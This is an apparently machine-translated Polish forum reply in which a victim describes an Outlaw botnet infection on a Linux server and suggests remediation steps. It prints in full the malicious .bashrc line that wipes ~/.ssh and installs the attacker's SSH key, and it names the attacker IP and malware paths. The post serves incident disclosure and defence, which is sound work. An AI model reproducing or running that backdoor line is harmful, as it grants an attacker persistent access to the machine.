To samo przytrafiło mi się i zauważyłem wczoraj. Sprawdziłem plik /var/log/syslog
i ten adres IP (185.234.218.40) wydawał się automatycznie wykonywać cronjobs.
Sprawdziłem to na http://whatismyipaddress.com ( https://whatismyipaddress.com/ip/185.234.218.40 ) i ma kilka raportów. Te pliki były edytowane przez trojana:
- .bashrc
- .ssh / uprawnione_klucze
Znalazłem to na końcu .bashrc
(które jest wykonywane przy każdym otwarciu bash):
set +o history
export PATH=/home/user/.bin:$PATH
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod 700 .ssh && cd .ssh && chmod 600 authorized_keys && cd ~
Usuwa twój authorized_keys
plik, który jest listą kluczy SSH, które mogą łączyć się bez hasła. Następnie dodaje klucz SSH atakującego:
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr
Ponadto znalazłem ten folder:, w /tmp/.X13-unix/.rsync
którym znajduje się całe złośliwe oprogramowanie. Znalazłem nawet /tmp/.X13-unix/.rsync/c/ip
plik zawierający 70 000 adresów IP, które najprawdopodobniej są innymi ofiarami lub serwerami węzłów.
Istnieją 2 rozwiązania: A:
Dodaj zaporę blokującą wszystkie połączenia wychodzące z wyjątkiem portu 22 i innych, które uważasz za niezbędne, i włącz fail2ban, program, który blokuje adres IP po X nieudanych próbach podania hasła
Zabij wszystkie zadania crona:,
ps aux | grep cron
a następnie zabij PID, który się pojawi
Zmień hasło na bezpieczne
B:
Utwórz kopię zapasową dowolnych plików lub folderów, których potrzebujesz lub chcesz
Zresetuj serwer i zainstaluj ponownie Ubuntu lub bezpośrednio utwórz nową kroplę
Jak powiedział Thom Wiggers, z pewnością jesteś częścią botnetu wydobywającego bitcoiny, a twój serwer ma backdoor . Backdoor wykorzystuje exploita perla, znajdujący się tutaj plik: /tmp/.X13-unix/.rsync/b/run
zawierający ten ( https://pastebin.com/ceP2jsUy )
Najbardziej podejrzane foldery, które znalazłem, to:
Na koniec jest artykuł dotyczący Perla Backdoor:
https://blog.trendmicro.com/trendlabs-security-intelligence/outlaw-hacking-groups-botnet-observed-spreading-miner-perl-based-backdoor/
Mam nadzieję, że uznasz to za przydatne.
.firefoxcatche
prawdopodobnie nie ma nic wspólnego z firefox - czy to może być górnik bitcoinów? Spróbuj załadować pliki wykonywalne do virustotal.